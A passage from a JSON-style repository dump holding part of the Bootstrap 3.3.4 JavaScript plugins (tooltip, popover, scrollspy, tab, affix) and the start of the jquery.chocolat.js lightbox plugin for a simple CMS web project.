dimension) + '%')\n      .css(isVertical ? 'top' : 'left', '')\n  }\n\n  Tooltip.prototype.setContent = function () {\n    var $tip  = this.tip()\n    var title = this.getTitle()\n\n    $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)\n    $tip.removeClass('fade in top bottom left right')\n  }\n\n  Tooltip.prototype.hide = function (callback) {\n    var that = this\n    var $tip = $(this.$tip)\n    var e    = $.Event('hide.bs.' + this.type)\n\n    function complete() {\n      if (that.hoverState != 'in') $tip.detach()\n      that.$element\n        .removeAttr('aria-describedby')\n        .trigger('hidden.bs.' + that.type)\n      callback && callback()\n    }\n\n    this.$element.trigger(e)\n\n    if (e.isDefaultPrevented()) return\n\n    $tip.removeClass('in')\n\n    $.support.transition && $tip.hasClass('fade') ?\n      $tip\n        .one('bsTransitionEnd', complete)\n        .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n      complete()\n\n    this.hoverState = null\n\n    return this\n  }\n\n  Tooltip.prototype.fixTitle = function () {\n    var $e = this.$element\n    if ($e.attr('title') || typeof ($e.attr('data-original-title')) != 'string') {\n      $e.attr('data-original-title', $e.attr('title') || '').attr('title', '')\n    }\n  }\n\n  Tooltip.prototype.hasContent = function () {\n    return this.getTitle()\n  }\n\n  Tooltip.prototype.getPosition = function ($element) {\n    $element   = $element || this.$element\n\n    var el     = $element[0]\n    var isBody = el.tagName == 'BODY'\n\n    var elRect    = el.getBoundingClientRect()\n    if (elRect.width == null) {\n      // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093\n      elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })\n    }\n    var elOffset  = isBody ? { top: 0, left: 0 } : $element.offset()\n    var scroll    = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }\n    var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null\n\n    return $.extend({}, elRect, scroll, outerDims, elOffset)\n  }\n\n  Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) {\n    return placement == 'bottom' ? { top: pos.top + pos.height,   left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'top'    ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'left'   ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } :\n        /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width }\n\n  }\n\n  Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) {\n    var delta = { top: 0, left: 0 }\n    if (!this.$viewport) return delta\n\n    var viewportPadding = this.options.viewport && this.options.viewport.padding || 0\n    var viewportDimensions = this.getPosition(this.$viewport)\n\n    if (/right|left/.test(placement)) {\n      var topEdgeOffset    = pos.top - viewportPadding - viewportDimensions.scroll\n      var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight\n      if (topEdgeOffset < viewportDimensions.top) { // top overflow\n        delta.top = viewportDimensions.top - topEdgeOffset\n      } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow\n        delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset\n      }\n    } else {\n      var leftEdgeOffset  = pos.left - viewportPadding\n      var rightEdgeOffset = pos.left + viewportPadding + actualWidth\n      if (leftEdgeOffset < viewportDimensions.left) { // left overflow\n        delta.left = viewportDimensions.left - leftEdgeOffset\n      } else if (rightEdgeOffset > viewportDimensions.width) { // right overflow\n        delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset\n      }\n    }\n\n    return delta\n  }\n\n  Tooltip.prototype.getTitle = function () {\n    var title\n    var $e = this.$element\n    var o  = this.options\n\n    title = $e.attr('data-original-title')\n      || (typeof o.title == 'function' ? o.title.call($e[0]) :  o.title)\n\n    return title\n  }\n\n  Tooltip.prototype.getUID = function (prefix) {\n    do prefix += ~~(Math.random() * 1000000)\n    while (document.getElementById(prefix))\n    return prefix\n  }\n\n  Tooltip.prototype.tip = function () {\n    return (this.$tip = this.$tip || $(this.options.template))\n  }\n\n  Tooltip.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow'))\n  }\n\n  Tooltip.prototype.enable = function () {\n    this.enabled = true\n  }\n\n  Tooltip.prototype.disable = function () {\n    this.enabled = false\n  }\n\n  Tooltip.prototype.toggleEnabled = function () {\n    this.enabled = !this.enabled\n  }\n\n  Tooltip.prototype.toggle = function (e) {\n    var self = this\n    if (e) {\n      self = $(e.currentTarget).data('bs.' + this.type)\n      if (!self) {\n        self = new this.constructor(e.currentTarget, this.getDelegateOptions())\n        $(e.currentTarget).data('bs.' + this.type, self)\n      }\n    }\n\n    self.tip().hasClass('in') ? self.leave(self) : self.enter(self)\n  }\n\n  Tooltip.prototype.destroy = function () {\n    var that = this\n    clearTimeout(this.timeout)\n    this.hide(function () {\n      that.$element.off('.' + that.type).removeData('bs.' + that.type)\n    })\n  }\n\n\n  // TOOLTIP PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.tooltip')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tooltip\n\n  $.fn.tooltip             = Plugin\n  $.fn.tooltip.Constructor = Tooltip\n\n\n  // TOOLTIP NO CONFLICT\n  // ===================\n\n  $.fn.tooltip.noConflict = function () {\n    $.fn.tooltip = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: popover.js v3.3.4\n * http://getbootstrap.com/javascript/#popovers\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // POPOVER PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Popover = function (element, options) {\n    this.init('popover', element, options)\n  }\n\n  if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')\n\n  Popover.VERSION  = '3.3.4'\n\n  Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, {\n    placement: 'right',\n    trigger: 'click',\n    content: '',\n    template: '<div class=\"popover\" role=\"tooltip\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'\n  })\n\n\n  // NOTE: POPOVER EXTENDS tooltip.js\n  // ================================\n\n  Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype)\n\n  Popover.prototype.constructor = Popover\n\n  Popover.prototype.getDefaults = function () {\n    return Popover.DEFAULTS\n  }\n\n  Popover.prototype.setContent = function () {\n    var $tip    = this.tip()\n    var title   = this.getTitle()\n    var content = this.getContent()\n\n    $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)\n    $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events\n      this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'\n    ](content)\n\n    $tip.removeClass('fade top bottom left right in')\n\n    // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do\n    // this manually by checking the contents.\n    if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide()\n  }\n\n  Popover.prototype.hasContent = function () {\n    return this.getTitle() || this.getContent()\n  }\n\n  Popover.prototype.getContent = function () {\n    var $e = this.$element\n    var o  = this.options\n\n    return $e.attr('data-content')\n      || (typeof o.content == 'function' ?\n            o.content.call($e[0]) :\n            o.content)\n  }\n\n  Popover.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.arrow'))\n  }\n\n\n  // POPOVER PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.popover')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.popover', (data = new Popover(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.popover\n\n  $.fn.popover             = Plugin\n  $.fn.popover.Constructor = Popover\n\n\n  // POPOVER NO CONFLICT\n  // ===================\n\n  $.fn.popover.noConflict = function () {\n    $.fn.popover = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: scrollspy.js v3.3.4\n * http://getbootstrap.com/javascript/#scrollspy\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // SCROLLSPY CLASS DEFINITION\n  // ==========================\n\n  function ScrollSpy(element, options) {\n    this.$body          = $(document.body)\n    this.$scrollElement = $(element).is(document.body) ? $(window) : $(element)\n    this.options        = $.extend({}, ScrollSpy.DEFAULTS, options)\n    this.selector       = (this.options.target || '') + ' .nav li > a'\n    this.offsets        = []\n    this.targets        = []\n    this.activeTarget   = null\n    this.scrollHeight   = 0\n\n    this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this))\n    this.refresh()\n    this.process()\n  }\n\n  ScrollSpy.VERSION  = '3.3.4'\n\n  ScrollSpy.DEFAULTS = {\n    offset: 10\n  }\n\n  ScrollSpy.prototype.getScrollHeight = function () {\n    return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)\n  }\n\n  ScrollSpy.prototype.refresh = function () {\n    var that          = this\n    var offsetMethod  = 'offset'\n    var offsetBase    = 0\n\n    this.offsets      = []\n    this.targets      = []\n    this.scrollHeight = this.getScrollHeight()\n\n    if (!$.isWindow(this.$scrollElement[0])) {\n      offsetMethod = 'position'\n      offsetBase   = this.$scrollElement.scrollTop()\n    }\n\n    this.$body\n      .find(this.selector)\n      .map(function () {\n        var $el   = $(this)\n        var href  = $el.data('target') || $el.attr('href')\n        var $href = /^#./.test(href) && $(href)\n\n        return ($href\n          && $href.length\n          && $href.is(':visible')\n          && [[$href[offsetMethod]().top + offsetBase, href]]) || null\n      })\n      .sort(function (a, b) { return a[0] - b[0] })\n      .each(function () {\n        that.offsets.push(this[0])\n        that.targets.push(this[1])\n      })\n  }\n\n  ScrollSpy.prototype.process = function () {\n    var scrollTop    = this.$scrollElement.scrollTop() + this.options.offset\n    var scrollHeight = this.getScrollHeight()\n    var maxScroll    = this.options.offset + scrollHeight - this.$scrollElement.height()\n    var offsets      = this.offsets\n    var targets      = this.targets\n    var activeTarget = this.activeTarget\n    var i\n\n    if (this.scrollHeight != scrollHeight) {\n      this.refresh()\n    }\n\n    if (scrollTop >= maxScroll) {\n      return activeTarget != (i = targets[targets.length - 1]) && this.activate(i)\n    }\n\n    if (activeTarget && scrollTop < offsets[0]) {\n      this.activeTarget = null\n      return this.clear()\n    }\n\n    for (i = offsets.length; i--;) {\n      activeTarget != targets[i]\n        && scrollTop >= offsets[i]\n        && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1])\n        && this.activate(targets[i])\n    }\n  }\n\n  ScrollSpy.prototype.activate = function (target) {\n    this.activeTarget = target\n\n    this.clear()\n\n    var selector = this.selector +\n      '[data-target=\"' + target + '\"],' +\n      this.selector + '[href=\"' + target + '\"]'\n\n    var active = $(selector)\n      .parents('li')\n      .addClass('active')\n\n    if (active.parent('.dropdown-menu').length) {\n      active = active\n        .closest('li.dropdown')\n        .addClass('active')\n    }\n\n    active.trigger('activate.bs.scrollspy')\n  }\n\n  ScrollSpy.prototype.clear = function () {\n    $(this.selector)\n      .parentsUntil(this.options.target, '.active')\n      .removeClass('active')\n  }\n\n\n  // SCROLLSPY PLUGIN DEFINITION\n  // ===========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.scrollspy')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.scrollspy\n\n  $.fn.scrollspy             = Plugin\n  $.fn.scrollspy.Constructor = ScrollSpy\n\n\n  // SCROLLSPY NO CONFLICT\n  // =====================\n\n  $.fn.scrollspy.noConflict = function () {\n    $.fn.scrollspy = old\n    return this\n  }\n\n\n  // SCROLLSPY DATA-API\n  // ==================\n\n  $(window).on('load.bs.scrollspy.data-api', function () {\n    $('[data-spy=\"scroll\"]').each(function () {\n      var $spy = $(this)\n      Plugin.call($spy, $spy.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tab.js v3.3.4\n * http://getbootstrap.com/javascript/#tabs\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TAB CLASS DEFINITION\n  // ====================\n\n  var Tab = function (element) {\n    this.element = $(element)\n  }\n\n  Tab.VERSION = '3.3.4'\n\n  Tab.TRANSITION_DURATION = 150\n\n  Tab.prototype.show = function () {\n    var $this    = this.element\n    var $ul      = $this.closest('ul:not(.dropdown-menu)')\n    var selector = $this.data('target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    if ($this.parent('li').hasClass('active')) return\n\n    var $previous = $ul.find('.active:last a')\n    var hideEvent = $.Event('hide.bs.tab', {\n      relatedTarget: $this[0]\n    })\n    var showEvent = $.Event('show.bs.tab', {\n      relatedTarget: $previous[0]\n    })\n\n    $previous.trigger(hideEvent)\n    $this.trigger(showEvent)\n\n    if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return\n\n    var $target = $(selector)\n\n    this.activate($this.closest('li'), $ul)\n    this.activate($target, $target.parent(), function () {\n      $previous.trigger({\n        type: 'hidden.bs.tab',\n        relatedTarget: $this[0]\n      })\n      $this.trigger({\n        type: 'shown.bs.tab',\n        relatedTarget: $previous[0]\n      })\n    })\n  }\n\n  Tab.prototype.activate = function (element, container, callback) {\n    var $active    = container.find('> .active')\n    var transition = callback\n      && $.support.transition\n      && (($active.length && $active.hasClass('fade')) || !!container.find('> .fade').length)\n\n    function next() {\n      $active\n        .removeClass('active')\n        .find('> .dropdown-menu > .active')\n          .removeClass('active')\n        .end()\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', false)\n\n      element\n        .addClass('active')\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', true)\n\n      if (transition) {\n        element[0].offsetWidth // reflow for transition\n        element.addClass('in')\n      } else {\n        element.removeClass('fade')\n      }\n\n      if (element.parent('.dropdown-menu').length) {\n        element\n          .closest('li.dropdown')\n            .addClass('active')\n          .end()\n          .find('[data-toggle=\"tab\"]')\n            .attr('aria-expanded', true)\n      }\n\n      callback && callback()\n    }\n\n    $active.length && transition ?\n      $active\n        .one('bsTransitionEnd', next)\n        .emulateTransitionEnd(Tab.TRANSITION_DURATION) :\n      next()\n\n    $active.removeClass('in')\n  }\n\n\n  // TAB PLUGIN DEFINITION\n  // =====================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.tab')\n\n      if (!data) $this.data('bs.tab', (data = new Tab(this)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tab\n\n  $.fn.tab             = Plugin\n  $.fn.tab.Constructor = Tab\n\n\n  // TAB NO CONFLICT\n  // ===============\n\n  $.fn.tab.noConflict = function () {\n    $.fn.tab = old\n    return this\n  }\n\n\n  // TAB DATA-API\n  // ============\n\n  var clickHandler = function (e) {\n    e.preventDefault()\n    Plugin.call($(this), 'show')\n  }\n\n  $(document)\n    .on('click.bs.tab.data-api', '[data-toggle=\"tab\"]', clickHandler)\n    .on('click.bs.tab.data-api', '[data-toggle=\"pill\"]', clickHandler)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: affix.js v3.3.4\n * http://getbootstrap.com/javascript/#affix\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // AFFIX CLASS DEFINITION\n  // ======================\n\n  var Affix = function (element, options) {\n    this.options = $.extend({}, Affix.DEFAULTS, options)\n\n    this.$target = $(this.options.target)\n      .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))\n      .on('click.bs.affix.data-api',  $.proxy(this.checkPositionWithEventLoop, this))\n\n    this.$element     = $(element)\n    this.affixed      = null\n    this.unpin        = null\n    this.pinnedOffset = null\n\n    this.checkPosition()\n  }\n\n  Affix.VERSION  = '3.3.4'\n\n  Affix.RESET    = 'affix affix-top affix-bottom'\n\n  Affix.DEFAULTS = {\n    offset: 0,\n    target: window\n  }\n\n  Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) {\n    var scrollTop    = this.$target.scrollTop()\n    var position     = this.$element.offset()\n    var targetHeight = this.$target.height()\n\n    if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false\n\n    if (this.affixed == 'bottom') {\n      if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom'\n      return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom'\n    }\n\n    var initializing   = this.affixed == null\n    var colliderTop    = initializing ? scrollTop : position.top\n    var colliderHeight = initializing ? targetHeight : height\n\n    if (offsetTop != null && scrollTop <= offsetTop) return 'top'\n    if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom'\n\n    return false\n  }\n\n  Affix.prototype.getPinnedOffset = function () {\n    if (this.pinnedOffset) return this.pinnedOffset\n    this.$element.removeClass(Affix.RESET).addClass('affix')\n    var scrollTop = this.$target.scrollTop()\n    var position  = this.$element.offset()\n    return (this.pinnedOffset = position.top - scrollTop)\n  }\n\n  Affix.prototype.checkPositionWithEventLoop = function () {\n    setTimeout($.proxy(this.checkPosition, this), 1)\n  }\n\n  Affix.prototype.checkPosition = function () {\n    if (!this.$element.is(':visible')) return\n\n    var height       = this.$element.height()\n    var offset       = this.options.offset\n    var offsetTop    = offset.top\n    var offsetBottom = offset.bottom\n    var scrollHeight = $(document.body).height()\n\n    if (typeof offset != 'object')         offsetBottom = offsetTop = offset\n    if (typeof offsetTop == 'function')    offsetTop    = offset.top(this.$element)\n    if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element)\n\n    var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom)\n\n    if (this.affixed != affix) {\n      if (this.unpin != null) this.$element.css('top', '')\n\n      var affixType = 'affix' + (affix ? '-' + affix : '')\n      var e         = $.Event(affixType + '.bs.affix')\n\n      this.$element.trigger(e)\n\n      if (e.isDefaultPrevented()) return\n\n      this.affixed = affix\n      this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null\n\n      this.$element\n        .removeClass(Affix.RESET)\n        .addClass(affixType)\n        .trigger(affixType.replace('affix', 'affixed') + '.bs.affix')\n    }\n\n    if (affix == 'bottom') {\n      this.$element.offset({\n        top: scrollHeight - height - offsetBottom\n      })\n    }\n  }\n\n\n  // AFFIX PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.affix')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.affix', (data = new Affix(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.affix\n\n  $.fn.affix             = Plugin\n  $.fn.affix.Constructor = Affix\n\n\n  // AFFIX NO CONFLICT\n  // =================\n\n  $.fn.affix.noConflict = function () {\n    $.fn.affix = old\n    return this\n  }\n\n\n  // AFFIX DATA-API\n  // ==============\n\n  $(window).on('load', function () {\n    $('[data-spy=\"affix\"]').each(function () {\n      var $spy = $(this)\n      var data = $spy.data()\n\n      data.offset = data.offset || {}\n\n      if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom\n      if (data.offsetTop    != null) data.offset.top    = data.offsetTop\n\n      Plugin.call($spy, data)\n    })\n  })\n\n}(jQuery);\n"
  },
  {
    "path": "web_simplecms/simplecms/js/jquery.chocolat.js",
    "content": "/*\n Inspired by the lightbox plugin adapted to jquery by Leandro Vieira Pinho (http://leandrovieira.com)\n \n @author  : Nicolas Turlais : nicolas-at-insipi.de\n @version : V0.3.1 - June 2012\n @license : Licensed under CCAttribution-ShareAlike\n @website : http://chocolat.insipi.de\n \n*/\n(function($) {\n\timages = [];\n\tvar calls = 0;\n\t$.fn.Chocolat = function(settings) {\n\t\tsettings = $.extend({\n\t\t\tcontainer             : $('body'),\n\t\t\tdisplayAsALink        : false,\n\t\t\tlinkImages            : true,\n\t\t\tlinksContainer        : 'Choco_links_container',\t\t\t\t\n\t\t\toverlayOpacity        : 0.9,\n\t\t\toverlayColor          : '#fff',\n\t\t\tfadeInOverlayduration : 500,\n\t\t\tfadeInImageduration   : 500,\n\t\t\tfadeOutImageduration  : 500,\n\t\t\tvache                 : true,\t\t\t\t\t\n\t\t\tseparator1            : ' | ',\t\t\t\t\t\t\n\t\t\tseparator2            : '/',\t\t\t\t\t\t\n\t\t\tleftImg               : 'images/left.gif',\t\n\t\t\trightImg              : 'images/right.gif',\t\n\t\t\tcloseImg              : 'images/close.gif',\t\t\n\t\t\tloadingImg            : 'images/loading.gif',\t\t\n\t\t\tcurrentImage          : 0,\t\t\t\t\t\t\n\t\t\tsetIndex              : 0,\n\t\t\tsetTitle              : '',\n\t\t\tlastImage             : 0\n\t\t},settings);\n\t\t\n\t\tcalls++;\n\t\tsettings.setIndex = calls;\n\t\timages[settings.setIndex] = [];\n\t\t\n\t\t//images:\n\t\tthis.each(function(index){\n\t\t\tif(index == 0 && settings.linkImages && settings.setTitle == ''){\n\t\t\t\tsettings.setTitle = isSet($(this).attr('rel'), ' ');\n\t\t\t}\n\t\t\t$(this).each(function() {\n\t\t\t\timages[settings.setIndex]['displayAsALink'] = settings.displayAsALink;\n\t\t\t\timages[settings.setIndex][index]            = [];\n\t\t\t\timages[settings.setIndex][index]['adress']  = isSet($(this).attr('href'), ' ');\n\t\t\t\timages[settings.setIndex][index]['caption'] = isSet($(this).attr('title'), ' ');\n\t\t\t\tif(!settings.displayAsALink){\n\t\t\t\t\t$(this).unbind('click').bind('click', {\n\t\t\t\t\t\tid  : settings.setIndex,\n\t\t\t\t\t\tnom : settings.setTitle,\n\t\t\t\t\t\ti   : index\n\t\t\t\t\t}, _initialise);\n\t\t\t\t}\n\t\t\t})\n\t\t});\n\t\t\n\t\t//setIndex:\n\t\tfor(var i = 0; i < images[settings.setIndex].length; i++)\n\t\t{\n\t\t\tif(images[settings.setIndex]['displayAsALink']){\n\t\t\t\tif($('#'+settings.linksContainer).size() == 0){\n\t\t\t\t\tthis.filter(\":first\").before('<ul id=\"'+settings.linksContainer+'\"></ul>');\n\t\t\t\t}\n\t\t\t\t$('#'+settings.linksContainer).append('<li><a href=\"#\" id=\"Choco_numsetIndex_'+settings.setIndex+'\" class=\"Choco_link\">'+settings.setTitle+'</a></li>');\n\t\t\t\te = this.parent();\n\t\t\t\t$(this).remove();\n\t\t\t\tif($.trim(e.html()) == \"\"){//If parent empty : remove it\n\t\t\t\t\te.remove();\n\t\t\t\t}\n\t\t\t\treturn $('#Choco_numsetIndex_'+settings.setIndex).unbind('click').bind('click', {id: settings.setIndex, nom : settings.setTitle, i : settings.currentImage}, _initialise);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction _initialise(event) {\n\t\t\t\n\t\t\tsettings.currentImage = event.data.i;\n\t\t\tsettings.setIndex     = event.data.id;\n\t\t\tsettings.setTitle     = event.data.nom;\n\t\t\tsettings.lastImage    = images[settings.setIndex].length - 1;\n\t\t\tshowChocolat();\n\t\t\treturn false;\n\t\t}\n\t\tfunction _interface(){\n\t\t\t//html\n\t\t\tclear();\n\t\t\tsettings.container.append('<div id=\"Choco_overlay\"></div><div id=\"Choco_content\"><div id=\"Choco_close\"></div><div id=\"Choco_loading\"></div><div id=\"Choco_container_photo\"><img id=\"Choco_bigImage\" src=\"\" /></div><div id=\"Choco_container_description\"><span id=\"Choco_container_title\"></span><span id=\"Choco_container_via\"></span></div><div id=\"Choco_left_arrow\" class=\"Choco_arrows\"></div><div id=\"Choco_right_arrow\" class=\"Choco_arrows\"></div></div>');\t\n\t\t\t$('#Choco_left_arrow').css('background-image', 'url('+settings.leftImg+')');  \n\t\t\t$('#Choco_right_arrow').css('background-image', 'url('+settings.rightImg+')');  \n\t\t\t$('#Choco_close').css('background-image', 'url('+settings.closeImg+')'); \n\t\t\t$('#Choco_loading').css('background-image', 'url('+settings.loadingImg+')'); \n\t\t\tif(settings.container.get(0).nodeName.toLowerCase() !== 'body'){\n\t\t\t\tsettings.container.css({'position':'relative','overflow':'hidden','line-height':'normal'});//yes, yes\n\t\t\t\t$('#Choco_content').css('position','relative');\n\t\t\t\t$('#Choco_overlay').css('position', 'absolute');\n\t\t\t}\n\t\t\t//events\n\t\t\t$(document).unbind('keydown').bind('keydown', function(e){\n\t\t\t\tswitch(e.keyCode){\n\t\t\t\t\tcase 37:\n\t\t\t\t\t\tchangePageChocolat(-1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 39:\n\t\t\t\t\t\tchangePageChocolat(1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 27:\n\t\t\t\t\t\tclose();\n\t\t\t\t\t\tbreak;\n\t\t\t\t};\n\t\t\t});\n\t\t\tif(settings.vache){\n\t\t\t\t$('#Choco_overlay').click(function(){\n\t\t\t\t\tclose();\n\t\t\t\t\treturn false;\n\t\t\t\t});\n\t\t\t}\n\t\t\t$('#Choco_left_arrow').unbind().bind('click', function(){\n\t\t\t\tchangePageChocolat(-1);\n\t\t\t\treturn false;\n\t\t\t});\n\t\t\t$('#Choco_right_arrow').unbind().bind('click', function(){\n\t\t\t\tchangePageChocolat(1);\n\t\t\t\treturn false;\n\t\t\t});\n\t\t\t$('#Choco_close').unbind().bind('click', function(){\n\t\t\t\tclose();\n\t\t\t\treturn false;\n\t\t\t});\n\t\t\t$(window).resize(function() {\n\t\t\t\tload(settings.currentImage,true);\n\t\t\t});\n\t\n\t\t}\n\t\tfunction showChocolat(){\t\n\t\t\t_interface();\n\t\t\tload(settings.currentImage, false);\n\t\t\t$('#Choco_overlay')\n\t\t\t\t.css({\n\t\t\t\t\t'background-color' : settings.overlayColor,\n\t\t\t\t\t'opacity'          : settings.overlayOpacity\n\t\t\t\t})\n\t\t\t\t.fadeIn(settings.fadeInOverlayduration);\n\t\t\t$('#Choco_content').fadeIn(settings.fadeInImageduration,function(){});\n\t\t\t\n\t\t}\n\t\tfunction load(image,resize){\n\t\t\tsettings.currentImage = image;\n\t\t\t$('#Choco_loading').fadeIn(settings.fadeInImageduration);\n\t\t\tvar imgPreloader = new Image();\n\t\t\timgPreloader.onload = function(){\n\t\t\t\t$('#Choco_bigImage').attr('src',images[settings.setIndex][settings.currentImage]['adress']);\n\t\t\t\tvar ajustees = iWantThePerfectImageSize(imgPreloader.height,imgPreloader.width);\n\t\t\t\tChoColat(ajustees['hauteur'],ajustees['largeur'],resize);\n\t\t\t\t$('#Choco_loading').stop().fadeOut(settings.fadeOutImageduration);\n\t\t\t};\n\t\t\timgPreloader.src = images[settings.setIndex][settings.currentImage]['adress'];\n\t\t\tpreload();\n\t\t\tupadteDescription();\n\t\t}\n\t\tfunction changePageChocolat(signe){\n\t\t\tif(!settings.linkImages || (settings.currentImage == 0 && signe == -1) || (settings.currentImage == settings.lastImage && signe == 1))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t//$('#Choco_container_description').fadeTo(settings.fadeOutImageduration,0); making a weird bug with firefox 17\n\t\t\t\t$('#Choco_container_description').css('visibility','hidden');\n\t\t\t\t$('#Choco_bigImage').fadeTo(settings.fadeOutImageduration, 0, function(){\n\t\t\t\t\tload(settings.currentImage + parseInt(signe), false);\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tfunction ChoColat(hauteur_image,largeur_image,resize){\n\n\t\t\tif(resize){\n\t\t\t\t$('#Choco_container_photo, #Choco_content, #Choco_bigImage').stop(true,false).css({'overflow':'visible'});\n\t\t\t\t$('#Choco_bigImage').animate({\n\t\t\t\t\t'height' : hauteur_image+'px',\n\t\t\t\t\t'width'  : largeur_image+'px'\n\t\t\t\t},settings.fadeInImageduration);\n\t\t\t}\n\t\t\t$('#Choco_container_photo').animate({\n\t\t\t\t\t'height' : hauteur_image,\n\t\t\t\t\t'width'  : largeur_image\n\t\t\t},settings.fadeInImageduration);\n\t\t\t$('#Choco_content').animate({\n\t\t\t\t'height'     : hauteur_image,\n\t\t\t\t'width'      : largeur_image,\n\t\t\t\t'marginLeft' : -largeur_image/2,\n\t\t\t\t'marginTop'  : -(hauteur_image)/2\n\t\t\t},settings.fadeInImageduration, 'swing', function(){\n\t\t\t\t$('#Choco_bigImage').fadeTo(settings.fadeInImageduration, 1).height(hauteur_image).width(largeur_image);\n\t\t\t\tif(!resize)\n\t\t\t\t{\n\t\t\t\t\tarrowsManaging();\n\t\t\t\t\t//$('#Choco_container_description').fadeTo(settings.fadeInImageduration,1); making a weird bug with firefox 